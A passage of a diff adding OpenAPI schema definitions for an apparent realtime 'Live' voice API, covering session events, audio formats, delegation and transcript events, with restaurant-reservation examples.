+ x-stainless-const: true
+ type: string
+ enum:
+ - audio/pcma
+ rate:
+ description: Audio sample rate in hertz. G.711 audio uses 8000 Hz.
+ type: integer
+ minimum: 8000
+ maximum: 8000
+ required:
+ - type
+ - rate
+ LiveAudioFormat:
+ description: Audio encoding and sample rate for audio sent and received over a Live WebSocket connection. WebRTC and SIP negotiate their media format separately.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveSessionAudioFormatPCMParam'
+ - $ref: '#/components/schemas/LiveSessionAudioFormatPCMUParam'
+ - $ref: '#/components/schemas/LiveSessionAudioFormatPCMAParam'
+ LiveInitialSessionAudioParam:
+ description: Startup audio configuration. Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their media format. Voice and format are immutable after startup.
+ type: object
+ properties:
+ format:
+ description: Audio encoding and sample rate for audio sent and received over a Live WebSocket connection. WebRTC and SIP negotiate their media format separately.
+ $ref: '#/components/schemas/LiveAudioFormat'
+ output:
+ description: The voice used for speech generated by the Live model.
+ $ref: '#/components/schemas/LiveInitialSessionAudioOutputParam'
+ required: []
+ LiveSessionCreateParams:
+ description: Initial configuration for a Live session, including its model, conversation instructions, audio, and delegated task handling.
+ type: object
+ properties:
+ model:
+ $ref: '#/components/schemas/ModelIdsLive'
+ instructions:
+ anyOf:
+ - description: Frontend instructions for voice, conversation, interruptions, and when to delegate. Start with the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting); put business rules and tool workflows in a separate [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt). Limited to 16,384 client-supplied tokens. Omitted or blank instructions use server defaults. Immutable after startup.
+ type: string
+ - type: 'null'
+ input:
+ description: Ordered text-only history supplied before startup. Supports developer, user, and assistant messages with one text part each; at most 128 messages and 8,192 rendered tokens in total.
+ type: array
+ items:
+ $ref: '#/components/schemas/LiveInitialItem'
+ maxItems: 128
+ audio:
+ description: Startup audio configuration. Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their media format. Voice and format are immutable after startup.
+ $ref: '#/components/schemas/LiveInitialSessionAudioParam'
+ delegation:
+ anyOf:
+ - description: Who handles tasks delegated by the Live model. Omitted or null selects your application; use `responses` to let the API manage a Responses backend.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveClientDelegationParam'
+ - $ref: '#/components/schemas/LiveResponsesDelegationParam'
+ - type: 'null'
+ store:
+ description: Whether to store the session for later forking and recording download. Defaults to false for new sessions.
+ type: boolean
+ client:
+ description: Startup-only capabilities for an untrusted frontend attached to a unified WebRTC session. Trusted sideband connections are unaffected.
+ $ref: '#/components/schemas/LiveClientConfigParam'
+ required:
+ - model
+ LiveSessionStartEvent:
+ description: Start a Live session on a primary WebSocket. Send this event before other commands and wait for `session.started`.
+ example:
+ type: session.start
+ event_id: evt_start_001
+ session:
+ model: gpt-live-1
+ instructions: Help the caller plan a restaurant reservation. Confirm details before booking.
+ audio:
+ format:
+ type: audio/pcm
+ rate: 24000
+ output:
+ voice: marin
+ delegation:
+ type: client
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.start`.
+ default: session.start
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.start
+ session:
+ description: Initial configuration for a primary WebSocket. Send session.start first and wait for session.started before application commands. WebRTC creation already starts the session; do not send this event again on its data channel.
+ $ref: '#/components/schemas/LiveSessionCreateParams'
+ required:
+ - type
+ - session
+ x-oaiMeta:
+ example:
+ type: session.start
+ event_id: evt_start_001
+ session:
+ model: gpt-live-1
+ instructions: Help the caller plan a restaurant reservation. Confirm details before booking.
+ audio:
+ format:
+ type: audio/pcm
+ rate: 24000
+ output:
+ voice: marin
+ delegation:
+ type: client
+ LiveSessionUpdateParams:
+ description: Changes to an active Live session. Only delegation backend settings can be updated after startup.
+ type: object
+ properties:
+ delegation:
+ anyOf:
+ - description: Delegation settings to update. The delegation type must match the current session; omitted settings retain their values.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveClientDelegationParam'
+ - $ref: '#/components/schemas/LiveResponsesDelegationUpdateParam'
+ - type: 'null'
+ required: []
+ LiveSessionUpdateParam:
+ description: Update the delegation settings of an active Live session. The server acknowledges accepted changes with `session.updated`.
+ example:
+ type: session.update
+ event_id: evt_update_001
+ session:
+ delegation:
+ type: responses
+ responses:
+ instructions: Check restaurant availability. Ask before confirming a booking.
+ max_output_tokens: 1024
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.update`.
+ default: session.update
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.update
+ session:
+ description: Sparse delegation updates. Omitted settings retain their values. The delegation type cannot change, including resetting Responses delegation to null or client. Model, frontend instructions, audio, and startup input are immutable.
+ $ref: '#/components/schemas/LiveSessionUpdateParams'
+ required:
+ - type
+ - session
+ x-oaiMeta:
+ example:
+ type: session.update
+ event_id: evt_update_001
+ session:
+ delegation:
+ type: responses
+ responses:
+ instructions: Check restaurant availability. Ask before confirming a booking.
+ max_output_tokens: 1024
+ LiveInputAudioAppendEvent:
+ description: Send audio to a Live session over its primary WebSocket. WebRTC and SIP sessions send audio over their media transport.
+ example:
+ type: session.input_audio.append
+ audio: AACAAIAAAIAAAP9/AIAAgA==
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.input_audio.append`.
+ default: session.input_audio.append
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.input_audio.append
+ audio:
+ description: Base64-encoded raw audio in the startup-selected format, without a WAV or other container header. Primary WebSocket only; media transports use their audio track. Audio appends have no acknowledgment. Reflected sideband server events reuse this event type and audio key, with no timestamps or event_id; their audio is always mono PCM16LE at 24 kHz.
+ type: string
+ minLength: 1
+ required:
+ - type
+ - audio
+ x-oaiMeta:
+ example:
+ type: session.input_audio.append
+ audio: AACAAIAAAIAAAP9/AIAAgA==
+ LiveInputAudioMuteParam:
+ description: Mute audio input to the Live model without closing the session. The server acknowledges with `session.input_audio.muted`.
+ example:
+ type: session.input_audio.mute
+ event_id: evt_mute_001
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.input_audio.mute`.
+ default: session.input_audio.mute
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.input_audio.mute
+ required:
+ - type
+ x-oaiMeta:
+ example:
+ type: session.input_audio.mute
+ event_id: evt_mute_001
+ LiveInputAudioUnmuteParam:
+ description: Resume audio input to a Live model after muting it. The server acknowledges with `session.input_audio.unmuted`.
+ example:
+ type: session.input_audio.unmute
+ event_id: evt_unmute_001
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.input_audio.unmute`.
+ default: session.input_audio.unmute
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.input_audio.unmute
+ required:
+ - type
+ x-oaiMeta:
+ example:
+ type: session.input_audio.unmute
+ event_id: evt_unmute_001
+ LiveInstructionsAppendParam:
+ description: Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ example:
+ type: session.instructions.append
+ event_id: evt_instructions_001
+ delegation_id: null
+ content: The caller prefers outdoor seating.
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.instructions.append`.
+ default: session.instructions.append
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.instructions.append
+ delegation_id:
+ anyOf:
+ - description: Required, nullable. Set null for general session context, or use the ID from session.delegation.created for an existing client delegation. Non-null IDs are not accepted with Responses delegation.
+ type: string
+ minLength: 1
+ - type: 'null'
+ content:
+ description: Instruction text to append, limited to 500 tokens. This is a plain string, not an array of content parts.
+ type: string
+ required:
+ - type
+ - delegation_id
+ - content
+ x-oaiMeta:
+ example:
+ type: session.instructions.append
+ event_id: evt_instructions_001
+ delegation_id: null
+ content: The caller prefers outdoor seating.
+ LiveThinkingAppendParam:
+ description: Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ example:
+ type: session.thinking.append
+ event_id: evt_thinking_001
+ delegation_id: del_abc123
+ content: Checking availability for two guests at 7 PM.
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.thinking.append`.
+ default: session.thinking.append
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.thinking.append
+ delegation_id:
+ anyOf:
+ - description: Required, nullable. Set null for general session context, or use the ID from session.delegation.created for an existing client delegation. Non-null IDs are not accepted with Responses delegation.
+ type: string
+ minLength: 1
+ - type: 'null'
+ content:
+ description: Silent reasoning or progress context, limited to 500 tokens. It does not directly request speech, but can influence later speech and is not a secrecy boundary.
+ type: string
+ required:
+ - type
+ - delegation_id
+ - content
+ x-oaiMeta:
+ example:
+ type: session.thinking.append
+ event_id: evt_thinking_001
+ delegation_id: del_abc123
+ content: Checking availability for two guests at 7 PM.
+ LiveCommentaryAppendParam:
+ description: Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ example:
+ type: session.commentary.append
+ event_id: evt_commentary_001
+ delegation_id: del_abc123
+ content: There is an outdoor table for two at 7 PM. Ask whether to reserve it.
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.commentary.append`.
+ default: session.commentary.append
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.commentary.append
+ delegation_id:
+ anyOf:
+ - description: Required, nullable. Set null for general session context, or use the ID from session.delegation.created for an existing client delegation. Non-null IDs are not accepted with Responses delegation.
+ type: string
+ minLength: 1
+ - type: 'null'
+ content:
+ description: Speakable context for the Live model, limited to 500 tokens. Use this for a result the model should communicate; use session.thinking.append for silent context.
+ type: string
+ required:
+ - type
+ - delegation_id
+ - content
+ x-oaiMeta:
+ example:
+ type: session.commentary.append
+ event_id: evt_commentary_001
+ delegation_id: del_abc123
+ content: There is an outdoor table for two at 7 PM. Ask whether to reserve it.
+ LiveResponseItemCreateParam:
+ description: Add an input item to the Live session’s Responses backend. Requires Responses delegation; use `response.create` to request a response.
+ example:
+ type: response.item.create
+ event_id: evt_item_001
+ item:
+ type: message
+ role: user
+ content:
+ - type: input_text
+ text: Please check for a table for two at 7 PM.
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `response.item.create`.
+ default: response.item.create
+ x-stainless-const: true
+ type: string
+ enum:
+ - response.item.create
+ item:
+ description: An input item to append to the Responses backend conversation, such as a user message or a function tool result.
+ $ref: '#/components/schemas/InputItem'
+ required:
+ - type
+ - item
+ x-oaiMeta:
+ example:
+ type: response.item.create
+ event_id: evt_item_001
+ item:
+ type: message
+ role: user
+ content:
+ - type: input_text
+ text: Please check for a table for two at 7 PM.
+ LiveResponseCreateParam:
+ description: Request a response from the Live session’s Responses backend, or continue a delegated response waiting for tool results. Requires Responses delegation.
+ example:
+ type: response.create
+ event_id: evt_response_001
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `response.create`.
+ default: response.create
+ x-stainless-const: true
+ type: string
+ enum:
+ - response.create
+ required:
+ - type
+ x-oaiMeta:
+ example:
+ type: response.create
+ event_id: evt_response_001
+ LiveSessionCloseParam:
+ description: Request that the Live session close. The terminal `session.closed` event contains the close reason and final usage.
+ example:
+ type: session.close
+ event_id: evt_close_001
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.close`.
+ default: session.close
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.close
+ required:
+ - type
+ x-oaiMeta:
+ example:
+ type: session.close
+ event_id: evt_close_001
+ LiveForkAudioParam:
+ description: Audio format for the new WebSocket connection to a forked Live session. The stored voice is preserved.
+ type: object
+ properties:
+ format:
+ description: Audio encoding and sample rate for audio sent and received over a Live WebSocket connection. WebRTC and SIP negotiate their media format separately.
+ $ref: '#/components/schemas/LiveAudioFormat'
+ required: []
+ LiveForkSessionConfigParam:
+ description: Overrides for a stored session after connecting to the fork WebSocket. An empty object inherits the stored configuration; do not supply a new model. audio.format applies only to the new WebSocket connection. client overrides are only supported for WebRTC forks.
+ type: object
+ properties:
+ audio:
+ description: Audio format for a WebSocket fork. WebRTC forks negotiate their audio format and must omit this field.
+ $ref: '#/components/schemas/LiveForkAudioParam'
+ delegation:
+ description: Overrides for the stored session’s Responses backend. Only supported when the stored session already uses Responses delegation; the delegation type cannot change.
+ $ref: '#/components/schemas/LiveResponsesDelegationUpdateParam'
+ store:
+ description: Whether to store the forked session. Omission inherits the stored session's setting.
+ type: boolean
+ client:
+ description: Frontend data-channel permissions for a WebRTC fork. Omitted permissions inherit the stored values. Not supported for WebSocket forks.
+ $ref: '#/components/schemas/LiveClientConfigParam'
+ required: []
+ LiveForkSessionStartEvent:
+ description: Start a Live session after connecting to a stored session’s fork WebSocket. Send an empty `session` object to use the stored configuration.
+ example:
+ type: session.start
+ session: {}
+ type: object
+ properties:
+ event_id:
+ anyOf:
+ - description: Optional client identifier for correlating this command with a server event's client_event_id or error.client_event_id.
+ type: string
+ maxLength: 512
+ - type: 'null'
+ type:
+ description: The Live client event type. Always `session.start`.
+ default: session.start
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.start
+ session:
+ description: Overrides for a stored session after connecting to the fork WebSocket. An empty object inherits the stored configuration; do not supply a new model. audio.format applies only to the new WebSocket connection. client overrides are only supported for WebRTC forks.
+ $ref: '#/components/schemas/LiveForkSessionConfigParam'
+ required:
+ - type
+ - session
+ x-oaiMeta:
+ example:
+ type: session.start
+ session: {}
+ LiveSessionResourceParam:
+ description: The resolved Live session configuration and server-assigned session metadata.
+ type: object
+ properties:
+ model:
+ $ref: '#/components/schemas/ModelIdsLive'
+ instructions:
+ anyOf:
+ - description: Frontend instructions for voice, conversation, interruptions, and when to delegate. Start with the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting); put business rules and tool workflows in a separate [backend prompt](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt). Limited to 16,384 client-supplied tokens. Omitted or blank instructions use server defaults. Immutable after startup.
+ type: string
+ - type: 'null'
+ input:
+ description: Ordered text-only history supplied before startup. Supports developer, user, and assistant messages with one text part each; at most 128 messages and 8,192 rendered tokens in total.
+ type: array
+ items:
+ $ref: '#/components/schemas/LiveInitialItem'
+ maxItems: 128
+ audio:
+ description: Startup audio configuration. Only primary WebSockets accept audio.format; WebRTC and SIP negotiate their media format. Voice and format are immutable after startup.
+ $ref: '#/components/schemas/LiveInitialSessionAudioParam'
+ delegation:
+ anyOf:
+ - description: Who handles tasks delegated by the Live model. Omitted or null selects your application; use `responses` to let the API manage a Responses backend.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveClientDelegationParam'
+ - $ref: '#/components/schemas/LiveResponsesDelegationParam'
+ - type: 'null'
+ store:
+ description: Whether to store the session for later forking and recording download. Defaults to false for new sessions.
+ type: boolean
+ client:
+ description: Startup-only capabilities for an untrusted frontend attached to a unified WebRTC session. Trusted sideband connections are unaffected.
+ $ref: '#/components/schemas/LiveClientConfigParam'
+ id:
+ description: The unique ID of the Live session. Use this ID for sideband connections, forking, and recording download.
+ type: string
+ expires_at:
+ description: The Unix timestamp, in seconds, at which the Live session expires.
+ type: integer
+ status:
+ description: The status of the session snapshot. Always `active`, including the final snapshot in session.closed; use the event type to determine that the session has closed.
+ default: active
+ x-stainless-const: true
+ type: string
+ enum:
+ - active
+ required:
+ - model
+ - id
+ - expires_at
+ - status
+ LiveSessionStarted:
+ description: Returned when a Live session has started. Contains the resolved session configuration, including server defaults.
+ example:
+ type: session.started
+ event_id: evt_started_001
+ client_event_id: evt_start_001
+ session:
+ id: live_abc123
+ model: gpt-live-1
+ status: active
+ expires_at: 1788555600
+ instructions: Help the caller plan a restaurant reservation. Confirm details before booking.
+ input: []
+ audio:
+ format:
+ type: audio/pcm
+ rate: 24000
+ output:
+ voice: marin
+ delegation:
+ type: client
+ type: object
+ properties:
+ type:
+ description: The event type, always `session.started`.
+ default: session.started
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.started
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ session:
+ $ref: '#/components/schemas/LiveSessionResourceParam'
+ required:
+ - type
+ - event_id
+ - session
+ x-oaiMeta:
+ example:
+ type: session.started
+ event_id: evt_started_001
+ client_event_id: evt_start_001
+ session:
+ id: live_abc123
+ model: gpt-live-1
+ status: active
+ expires_at: 1788555600
+ instructions: Help the caller plan a restaurant reservation. Confirm details before booking.
+ input: []
+ audio:
+ format:
+ type: audio/pcm
+ rate: 24000
+ output:
+ voice: marin
+ delegation:
+ type: client
+ LiveSessionUpdated:
+ description: Returned when a Live session update is accepted. Contains the resolved session configuration after the update.
+ example:
+ type: session.updated
+ event_id: evt_updated_001
+ client_event_id: evt_update_001
+ session:
+ id: live_def456
+ model: gpt-live-1
+ status: active
+ expires_at: 1788555600
+ instructions: Help the caller plan a restaurant reservation. Confirm details before booking.
+ input: []
+ audio:
+ format:
+ type: audio/pcm
+ rate: 24000
+ output:
+ voice: marin
+ delegation:
+ type: responses
+ responses:
+ model: gpt-6-astra
+ instructions: Check restaurant availability. Ask before confirming a booking.
+ max_output_tokens: 1024
+ tools: []
+ type: object
+ properties:
+ type:
+ description: The event type, always `session.updated`.
+ default: session.updated
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.updated
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ session:
+ $ref: '#/components/schemas/LiveSessionResourceParam'
+ required:
+ - type
+ - event_id
+ - session
+ x-oaiMeta:
+ example:
+ type: session.updated
+ event_id: evt_updated_001
+ client_event_id: evt_update_001
+ session:
+ id: live_def456
+ model: gpt-live-1
+ status: active
+ expires_at: 1788555600
+ instructions: Help the caller plan a restaurant reservation. Confirm details before booking.
+ input: []
+ audio:
+ format:
+ type: audio/pcm
+ rate: 24000
+ output:
+ voice: marin
+ delegation:
+ type: responses
+ responses:
+ model: gpt-6-astra
+ instructions: Check restaurant availability. Ask before confirming a booking.
+ max_output_tokens: 1024
+ tools: []
+ LiveInputAudioMuted:
+ description: Returned when a session.input_audio.mute command is accepted. Input audio is no longer sent to the model; sideband audio reflection continues.
+ example:
+ type: session.input_audio.muted
+ event_id: evt_muted_001
+ client_event_id: evt_mute_001
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ type:
+ description: The event type, always `session.input_audio.muted`.
+ default: session.input_audio.muted
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.input_audio.muted
+ required:
+ - event_id
+ - type
+ x-oaiMeta:
+ example:
+ type: session.input_audio.muted
+ event_id: evt_muted_001
+ client_event_id: evt_mute_001
+ LiveInputAudioUnmuted:
+ description: Returned when a session.input_audio.unmute command is accepted. Input audio is sent to the model again.
+ example:
+ type: session.input_audio.unmuted
+ event_id: evt_unmuted_001
+ client_event_id: evt_unmute_001
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ type:
+ description: The event type, always `session.input_audio.unmuted`.
+ default: session.input_audio.unmuted
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.input_audio.unmuted
+ required:
+ - event_id
+ - type
+ x-oaiMeta:
+ example:
+ type: session.input_audio.unmuted
+ event_id: evt_unmuted_001
+ client_event_id: evt_unmute_001
+ LiveInstructionsAppended:
+ description: Returned when a session.instructions.append command is accepted into the Live session timeline. Acknowledges the appended instructions without guaranteeing that the model has acted on them.
+ example:
+ type: session.instructions.appended
+ event_id: evt_instructions_002
+ client_event_id: evt_instructions_001
+ start_ms: 1200
+ end_ms: 1400
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ start_ms:
+ description: The start of this event on the Live session timeline, in milliseconds from the beginning of the session.
+ type: integer
+ end_ms:
+ description: The end of this event on the Live session timeline, in milliseconds from the beginning of the session. For appended context, this can equal start_ms.
+ type: integer
+ type:
+ description: The event type, always `session.instructions.appended`.
+ default: session.instructions.appended
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.instructions.appended
+ required:
+ - event_id
+ - start_ms
+ - end_ms
+ - type
+ x-oaiMeta:
+ example:
+ type: session.instructions.appended
+ event_id: evt_instructions_002
+ client_event_id: evt_instructions_001
+ start_ms: 1200
+ end_ms: 1400
+ LiveThinkingAppended:
+ description: Returned when a session.thinking.append command is accepted into the Live session timeline. Acknowledges the added reasoning context without guaranteeing any spoken output.
+ example:
+ type: session.thinking.appended
+ event_id: evt_thinking_002
+ client_event_id: evt_thinking_001
+ start_ms: 4600
+ end_ms: 4800
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ start_ms:
+ description: The start of this event on the Live session timeline, in milliseconds from the beginning of the session.
+ type: integer
+ end_ms:
+ description: The end of this event on the Live session timeline, in milliseconds from the beginning of the session. For appended context, this can equal start_ms.
+ type: integer
+ type:
+ description: The event type, always `session.thinking.appended`.
+ default: session.thinking.appended
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.thinking.appended
+ required:
+ - event_id
+ - start_ms
+ - end_ms
+ - type
+ x-oaiMeta:
+ example:
+ type: session.thinking.appended
+ event_id: evt_thinking_002
+ client_event_id: evt_thinking_001
+ start_ms: 4600
+ end_ms: 4800
+ LiveCommentaryAppended:
+ description: Returned when a session.commentary.append command is accepted into the Live session timeline. Acknowledges the added commentary without guaranteeing exact wording or completed audio playback.
+ example:
+ type: session.commentary.appended
+ event_id: evt_commentary_002
+ client_event_id: evt_commentary_001
+ start_ms: 5200
+ end_ms: 5400
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ start_ms:
+ description: The start of this event on the Live session timeline, in milliseconds from the beginning of the session.
+ type: integer
+ end_ms:
+ description: The end of this event on the Live session timeline, in milliseconds from the beginning of the session. For appended context, this can equal start_ms.
+ type: integer
+ type:
+ description: The event type, always `session.commentary.appended`.
+ default: session.commentary.appended
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.commentary.appended
+ required:
+ - event_id
+ - start_ms
+ - end_ms
+ - type
+ x-oaiMeta:
+ example:
+ type: session.commentary.appended
+ event_id: evt_commentary_002
+ client_event_id: evt_commentary_001
+ start_ms: 5200
+ end_ms: 5400
+ LiveInputAudioAppend:
+ description: Input audio received from the primary transport and reflected to a Live sideband connection before model-input muting.
+ example:
+ type: session.input_audio.append
+ audio: AACAAIAAAIAAAP9/AIAAgA==
+ type: object
+ properties:
+ type:
+ description: The event type, always `session.input_audio.append`.
+ default: session.input_audio.append
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.input_audio.append
+ audio:
+ description: Base64-encoded raw mono PCM16LE at 24 kHz received from the primary transport, reflected to the sideband before model-input muting. This server event uses the same audio key as the client command, but is not an acknowledgment of it.
+ type: string
+ required:
+ - type
+ - audio
+ x-oaiMeta:
+ example:
+ type: session.input_audio.append
+ audio: AACAAIAAAIAAAP9/AIAAgA==
+ LiveOutputAudioDelta:
+ description: An audio chunk generated by the Live model. Decode and play primary WebSocket chunks in delivery order using the configured session audio format. Sideband connections receive reflected output audio with timestamps.
+ example:
+ type: session.output_audio.delta
+ delta: AACAAIAAAIAAAP9/AIAAgA==
+ start_ms: 1000
+ end_ms: 1200
+ type: object
+ properties:
+ type:
+ description: The event type, always `session.output_audio.delta`.
+ default: session.output_audio.delta
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.output_audio.delta
+ delta:
+ description: Base64-encoded raw audio. Primary WebSocket events use the session's configured format; reflected sideband events use mono PCM16LE at 24 kHz.
+ type: string
+ start_ms:
+ description: Inclusive session-relative start in milliseconds. Required on reflected sideband events; omitted on the primary WebSocket.
+ type: integer
+ end_ms:
+ description: Exclusive session-relative end in milliseconds. Required on reflected sideband events; omitted on the primary WebSocket. Dropped output frames leave gaps between reflected ranges.
+ type: integer
+ required:
+ - type
+ - delta
+ x-oaiMeta:
+ example:
+ type: session.output_audio.delta
+ delta: AACAAIAAAIAAAP9/AIAAgA==
+ start_ms: 1000
+ end_ms: 1200
+ LiveInputTranscriptDelta:
+ description: A transcript fragment for user input audio in the Live session. Accumulate fragments in delivery order; these events do not define complete turns or include a transcript-done event.
+ example:
+ type: session.input_transcript.delta
+ event_id: evt_input_transcript_001
+ delta: A table for two at seven, please.
+ start_ms: 1600
+ end_ms: 3400
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ start_ms:
+ description: The start of this event on the Live session timeline, in milliseconds from the beginning of the session.
+ type: integer
+ end_ms:
+ description: The end of this event on the Live session timeline, in milliseconds from the beginning of the session. For appended context, this can equal start_ms.
+ type: integer
+ delta:
+ description: The transcript text fragment for the audio in this time range. Append fragments in delivery order to build the transcript.
+ type: string
+ type:
+ description: The event type, always `session.input_transcript.delta`.
+ default: session.input_transcript.delta
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.input_transcript.delta
+ required:
+ - event_id
+ - start_ms
+ - end_ms
+ - delta
+ - type
+ x-oaiMeta:
+ example:
+ type: session.input_transcript.delta
+ event_id: evt_input_transcript_001
+ delta: A table for two at seven, please.
+ start_ms: 1600
+ end_ms: 3400
+ LiveOutputTranscriptDelta:
+ description: A transcript fragment for assistant output audio in the Live session. Accumulate fragments in delivery order; these events do not define complete turns or include a transcript-done event.
+ example:
+ type: session.output_transcript.delta
+ event_id: evt_output_transcript_001
+ delta: Would you like me to reserve that table?
+ start_ms: 5400
+ end_ms: 7200
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ start_ms:
+ description: The start of this event on the Live session timeline, in milliseconds from the beginning of the session.
+ type: integer
+ end_ms:
+ description: The end of this event on the Live session timeline, in milliseconds from the beginning of the session. For appended context, this can equal start_ms.
+ type: integer
+ delta:
+ description: The transcript text fragment for the audio in this time range. Append fragments in delivery order to build the transcript.
+ type: string
+ type:
+ description: The event type, always `session.output_transcript.delta`.
+ default: session.output_transcript.delta
+ x-stainless-const: true
+ type: string
+ enum:
+ - session.output_transcript.delta
+ required:
+ - event_id
+ - start_ms
+ - end_ms
+ - delta
+ - type
+ x-oaiMeta:
+ example:
+ type: session.output_transcript.delta
+ event_id: evt_output_transcript_001
+ delta: Would you like me to reserve that table?
+ start_ms: 5400
+ end_ms: 7200
+ LiveDelegationItem:
+ description: Metadata for work delegated by the Live model. Client delegations are handled by your application; Responses delegations run on the configured backend.
+ type: object
+ properties:
+ id:
+ description: The unique ID of the delegation. Use this as delegation_id when replying to client-owned work or correlating Responses events.
+ type: string
+ type:
+ description: The object type, always `delegation`.
+ default: delegation
+ x-stainless-const: true
+ type: string
+ enum:
+ - delegation
+ target:
+ description: 'Where the Live model delegated the work: `client` for your application, or `responses` for the configured Responses backend.'
+ anyOf:
+ - default: client
+ x-stainless-const: true
+ type: string
+ enum:
+ - client
+ - default: responses
+ x-stainless-const: true
+ type: string
+ enum:
+ - responses
+ response_id:
+ description: The ID of the Responses API response associated with a Responses delegation. Omitted for client delegations.
+ type: string
+ required:
+ - id
+ - type
+ - target
+ LiveDelegationCreated:
+ description: Returned when the Live model delegates work to your application or a Responses backend. Contains delegation metadata and the position on the session timeline where the work was delegated.
+ example:
+ type: session.delegation.created
+ event_id: evt_delegation_001
+ offset_ms: 3600
+ delegation:
+ id: del_abc123
+ type: delegation
+ target: client
+ type: object
+ properties:
+ event_id:
+ description: The unique ID of the Live server event.
+ type: string
+ client_event_id:
+ description: The event_id of the client command associated with this server event, when supplied.
+ type: string
+ type:
+ description: The event type, always `session.delegation.created`.
+ default: session.delegation.created
+ x-stainless-const: true
+ type: string
+ enum:
